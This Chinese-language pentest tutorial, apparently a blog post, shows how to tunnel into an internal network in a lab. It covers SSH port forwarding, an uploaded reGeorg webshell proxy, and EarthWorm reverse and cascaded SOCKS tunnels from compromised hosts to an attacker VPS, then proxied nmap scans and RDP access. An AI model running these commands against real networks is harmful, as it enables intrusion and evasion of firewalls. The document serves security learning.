系列文章:

内网渗透测试:隐藏通讯隧道技术(上)

什么是隧道?

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。

应用层隧道技术

应用层(Application layer)是七层OSI模型的第七层。应用层直接和应用程序接口并提供常见的网络应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPS和DNS。这里我们主要讲解SSH和HTTP/HTTPS,DNS隧道我会在未来专门写一个专题进行讲解。

SSH协议

SSH 为建立在应用层基础上的安全协议,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UXLinuxAIXSolarisDigital UNIXIrix,以及其他平台,都可运行SSH。
一般情况下,SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。攻击者使用SSH隧道突破防火墙限制后,能够建立一些之前无法建立的TCP连接。
SSH 命令
ssh 用户名@ip -p <端口号>
创建ssh隧道常用的参数有:
  • -C:压缩传输,提高传输速度
  • -f:将ssh传输转入后台执行,不占用当前的shell
  • -N:静默连接,连接后看不到具体会话
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS 代理)
  • -p:指定ssh端口
本地转发实验
测试环境:
攻击者vps
模拟外网IP:192.168.1.101
内网web服务器
模拟外网IP:192.168.103
内网IP:192.168.52.128
内网受害机Windows Server 8
内网IP:192.168.52.138
攻击者vps可以访问内网web服务器,但不能访问内网受害机Windows Server 8;内网web服务器与内网受害机Windows Server 8可以互访。我们的思路是:以Web服务器为跳板,访问Windows Server 8的3389端口。利用的前提是已经拿到了明文密码。
在攻击者vps上面执行:
ssh -CfNg -L 1153(vps端口) : 192.168.52.138(目标机ip) : 3389(目标端口) root@192.168.1.103(跳板机)

//攻击者vps主动去连web
-L:本地端口转发
执行以下命令,查看本地1153端口是否已经建立连接。可以看到,在进行本地映射时,本地的ssh进程监听了1153端口。
这里的原理是,以web服务器192.168.1.103为跳板,将内网Windows Server 8(192.168.52.138)的3389端口映射到了攻击者vps的1153端口上,我们执行如下命令,访问vps本地1153端口,就可以访问内网Windows Server 8(192.168.52.138)的3389端口了:
rdesktop 127.0.0.1:1153
可以看到,成功连上了内网Windows Server 8的远程桌面。这种方法只需要在攻击机执行一条命令,还是比较方便的。
远程转发实验
还是相似的测试环境,但此时内网中没有了边界设备,所以攻击者vps不能访问内网中的这三台机器;内网web服务器可以访问外网vps,windows server 8和域控制器都不能访问外网vps。我们的思路是:通过外网vps访问内网windows server 8的3389端口。
在web服务器(192.192.52.128)上执行如下命令,
ssh -CfNg -R 3307(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.101(vps)

// 受害机主动连接vps
-R:远程端口转发
vps上面可见:
这里,我们以web服务器为跳板,将vps的3307端口的流量转发到了内网windows server 8(192.168.52.138)的3389端口上,我们访问vps的3307端口,即可访问内网windows server 8的3389端口远程桌面了:
动态转发实验
前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同网络中的网站。这类应用的特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,因而需要一种专门的端口转发方式,即 “动态端口转发”。SSH 动态端口转发是通过 Socks 协议实现的,创建动态端口转发时 SSH 服务器就类似一个 Socks 代理服务器,所以这种转发方式也叫 Socks 转发。
测试环境如下:
我们在vps上面执行如下命令,建立一个动态的SOCKS代理通道,
ssh -CfNg -D 7000 root@192.168.1.103(内网web)
这里,命令中不需要像前两个一样指定目标服务器和端口号。执行上面的命令后 SSH 客户端(攻击机vps)就开始监听本机 localhost 的 7000 端口。你可以把本机上浏览器网络配置中的 Socks 服务器指定为127.0.0.1:7000。然后浏览器中的请求会被转发到 SSH 服务端(内网web服务器),并从 SSH 服务端与目标站点机器(内网文件服务器)建立连接进行通信。
可以看到,在使用动态映射的时候,本地主机的ssh进程监听了7000端口。我们在攻击者vps上面打开浏览器,进行设置,设置代理网络:
这样,就可以通过浏览器访问内网文件服务器了:
这里的动态端口转发其实就是建立一个ssh加密的SOCKS代理通道,SOCKS代理它只是简单地将一端的系统连接到另外一端,把你的网络数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。任何支持SOCKS协议的程序都可以使用这个加密通道进行代理访问。

HTTP(S) 协议

HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP Service 代理用于将所有的流量转发到内网。
reGeorg
首先我们需要明白正向代理和反向代理的区别:
 

正向代理(Forward Proxy)

Lhost-->proxy-->Rhost

Lhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

反向代理(reverse proxy)

Lhost<-->proxy<-->firewall<-->Rhost

和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。

简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。

reGeorg是reDuh的升级版,主要功能是将内网服务器端口的数据通过HTTP(S)隧道转发到本机,实现基于HTTP协议的通信。
测试环境如下:
内网有三台主机,其中web服务器有两个网卡,分别连接内外网,其余内网两台主机无法与外网通信,但可以与web服务器win7互访;攻击者vps可以访问web服务器。我们的思路是利用HTTP Server 代理,将攻击者所有流量转发到内网中,实现对内网其余主机的控制。
将reGeorg的对应脚本文件tunnel.nosocket.php,此时攻击机访问远程服务器上的tunnel.jsp文件,页面返回“Georg says, 'All seems fine'”后,攻击机kali在本地用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。
操作时将tunnel.(aspx|ashx|jsp|php)上传到目标Web服务器,具体取决于远程服务器支持什么样的语言。我这里是php服务器,所以我们上传tunnel.nosocket.php,php这里分为有socket与无socket的,tunnel.php需要使用dl()函数加载socket模块,其需要修改php.ini,所以我们使用的是tunnel.nosocket.php。
然后攻击者执行:
python reGeorgSocksProxy.py -u http://192.168.1.7/tunnel.nosocket.php -p 9999
程序卡在“Georg says, 'All seems fine'”表示正常运行。
接下来安装并配置proxychains-ng
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure
make && make install
cp ./src/proxychains.conf /etc/proxychians.conf
cd .. && rm -rf proxychains-ng
编辑proxychains配置文件:
vim /etc/proxychains.conf
在末尾添加
socks5 127.0.0.1 9999 // 9999为你自己的端口,需要与reGeorg中设置的端口相同
现在就可以在攻击者vps本地机器上使用proxychains对应用程序进行代理来访问目标内网中的资源了,使用方法即在工具名前面加上proxychains4,如nmap通过proxychains代理扫描内网windows server 8主机的端口:
proxychains4 nmap 192.168.52.138 -Pn -sT -p 3389         // -Pn和-sT必须带着
(可以看见设置代理的shell里面有数据传输)
接下来打开内网windows server 8主机的远程桌面:
proxychains4 rdesktop 192.168.52.138
成功。当然windows系统可以使用SocksCap等工具进行代理:

应用层的隧道还有有一个重要的技术就是DNS隧道技术,由于小编能力太菜,~~呜呜呜~~,很多东西也是现学现卖,所以我将在未来专门写一个专题来对其进行介绍。

SOCKS 代理技术

Socks代理即全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。利用SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
常见的网络场景有如下三类:
  1. 服务器在内网中,可以任意访问外部网络。
  2. 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
  3. 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。
EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。EarthWorm能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。该工具包中有多个可执行文件,以适应不同的操作系统(Linux、Windows、Mac OS、ARM-Linux均包含在内)
reGeorg
reGeorg的主要功能是将内网服务器的端口通过HTTP(S)隧道转发到本机,形成一个回路。其可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持 ASPX、PHP、JSP中的一种。
SockCap64
SockCap64是一款在Windows环境中相当好用的代理软件,其可以使Windows应用程序通过SOCKS代理服务器来访问网络。
Proxifier
Proxifier也是一款非常好用的全局代理软件,其提供了跨平台的端口转发和代理功能,适用于Windows、Linux、Mac OS平台。
ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,非常好用,可以使任何应用程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCK 5类型的代理服务器。
下面讲一下这几个工具的具体用法。

EarthWorm

EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。
测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。
(1)正向 SOCKS 5 服务器
适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:
ew_for_Win.exe -s ssocksd -l 888
这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks代理服务器(192.168.1.7)的代理即可。配置proxychains:
打开内网Windows server 8的远程桌面:
proxychains4 rdesktop 192.168.52.138
(2)反弹 SOCKS 5 服务器
正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们怎么访问内网的资源呢?
在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了。
在攻击者公网vps上面上传ew_for_linux64并执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,这里1234端口只是用于传输流量。
接着,在内网web服务器(192.168.52.143)上传ew_for_Win.exe,并执行命令:
ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234
该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为39.xxx.xxx.210的1234端口上。此时vps上面显示“rssocks cmd_socket OK!”说明连接成功:
现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的socks4代理服务了。如我们打开内网文件服务器的远程桌面:
proxychains4 rdesktop 192.168.52.141
(3)二级网络环境(a)
适用于目标机器拥有一个外网IP地址的情况下。
右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。
我们先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks代理:
ew_for_Win.exe -s ssocksd -l 1234
接着,将ew上传至A主机中,并执行命令:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234
该命令将A主机1080端口收到的代理请求转发给B主机(192.168.52.138)的1234端口。
现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks代理服务了。配置proxychains:
用ssh连接内网服务器(192.168.52.128):
连接成功。
(4)二级网络环境(b)
刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?
如上图环境,A主机既没有公网IP,但能访问外网,也不能访问内网资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。
这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。
我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:
ew_for_linux64 -s lcx_listen -l 1080 -e 1234
然后将ew上传至内网B(192.168.52.138)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:
ew_for_Win.exe -s ssocksd -l 999
最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用lcx_slave方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来,执行命令:
ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999
此时,就可以设置proxychains等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。如下设置proxychains:
访问内网机器(192.168.52.141)的远程桌面:
访问成功。除了proxychains,我们还可以使用proxifier、sockscap64等代理工具。如下,我们使用sockscap64来访问内网机器。
打开,sockscap64,将你想要进行代理的应用程序添加进去(方法很简单,找到可执行文件后拖进去即可),这里我把远程桌面程序添加了进去
点击上面的“代理”,进去添加一个代理,设置好vps或代理服务器的IP和指定的端口。
添加好后点击右下角“保存”。回到主界面,点击那个“闪电”形状的按钮,测试代理服务器能否正常连接
正常连接后,右击远程桌面程序,选择“在代理隧道中运行选中程序”,就可以访问内网远程机器了
同样的方法,我们也可以用浏览器来访问内网的资源,比如我们访问内网服务器192.168.52.128上面的资源:
参考:
《内网安全攻防:渗透测试实战指南》

笔者尚为正在入门的小白一枚,文中若有不当之处,还请各位大佬多多指点,小生还需多向前辈们学习!

本文作者:MrAnonymous